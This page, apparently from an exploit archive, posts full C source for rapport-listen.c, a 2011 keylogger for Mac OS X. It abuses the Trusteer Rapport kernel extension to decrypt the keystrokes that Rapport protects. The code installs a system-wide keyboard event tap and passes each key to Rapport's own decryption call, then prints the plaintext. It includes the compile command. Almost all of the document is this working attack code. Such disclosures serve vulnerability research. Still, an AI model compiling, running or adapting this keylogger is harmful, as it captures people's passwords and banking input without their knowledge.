what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Trusteer Rapport Key Decryptor / Keylogger

Trusteer Rapport Key Decryptor / Keylogger
Posted Sep 21, 2011
Authored by mu-b | Site digit-labs.org

Trusteer Rapport key decryptor / keylogger exploit that uses Trusteer's own functionality to 'decrypt' keys directly.

tags | exploit
SHA-256 | c8f6cb87a1da1cd5f8ebbf54d12f5416d0be16db65d6f07abce191af94431441

Trusteer Rapport Key Decryptor / Keylogger

Change Mirror Download
/* rapport-listen.c
*
* Copyright (c) 2011 by <mu-b@digit-labs.org>
*
* Trusteer Rapport key decryptor/keylogger
* by mu-b - Thu 07 Jul 2011
*
* - Tested on: Trusteer Rapport (Apple MACOS X 10.6.4)
*
* erm, broken design you might say? some might say useless.
*
* compile: gcc -Wall rapport-listen.c -o rapport-listen -framework IOKit -framework ApplicationServices
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2011!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <ApplicationServices/ApplicationServices.h>

io_connect_t rapport_port;

static CGEventRef
keylogger_callback (CGEventTapProxy proxy, CGEventType type,
CGEventRef event, void *refcon)
{
kern_return_t kr;
uint64_t input_key, decrypt_key;
uint32_t decrypt_size;

if (type != kCGEventKeyDown)
return (event);

CGKeyCode keycode = (CGKeyCode) CGEventGetIntegerValueField (event, kCGKeyboardEventKeycode);

input_key = keycode;
decrypt_key = 0;
decrypt_size = 1;
kr = IOConnectCallScalarMethod (rapport_port, 1, &input_key, 1, &decrypt_key, &decrypt_size);
if (kr == kIOReturnSuccess)
{
fprintf (stdout, "output, e: %d, d: %d\n", (uint32_t) input_key, (uint32_t) decrypt_key);
}

return (event);
}

int
main (int argc, char **argv)
{
CFMachPortRef eventTap;
CGEventMask eventMask;
CFRunLoopSourceRef runLoopSource;
io_service_t service;
kern_return_t kr;

printf ("Trusteer Rapport key decryptor/keylogger\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2011!@$!\n\n");

service = IOServiceGetMatchingService (kIOMasterPortDefault,
IOServiceMatching("com_trusteer_rapportke"));
if (!service)
{
fprintf (stderr, "* IOServiceGetMatchingService failed, rapport running?\n");
return (EXIT_FAILURE);
}

rapport_port = (io_connect_t) 0;
kr = IOServiceOpen (service, mach_task_self (), 0, &rapport_port);
IOObjectRelease (service);

if (kr != kIOReturnSuccess)
{
fprintf (stderr, "* IOServiceOpen failed\n");
return (EXIT_FAILURE);
}

eventMask = (1 << kCGEventKeyDown);
eventTap = CGEventTapCreate (kCGSessionEventTap, kCGHeadInsertEventTap, 0,
eventMask, keylogger_callback, NULL);
if (!eventTap)
{
fprintf (stderr, "* failed to create event tap\n");
return (EXIT_FAILURE);
}

runLoopSource = CFMachPortCreateRunLoopSource (kCFAllocatorDefault, eventTap, 0);

CFRunLoopAddSource (CFRunLoopGetCurrent (), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable (eventTap, true);

printf ("* waiting for keys\n");
CFRunLoopRun ();

return (EXIT_SUCCESS);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close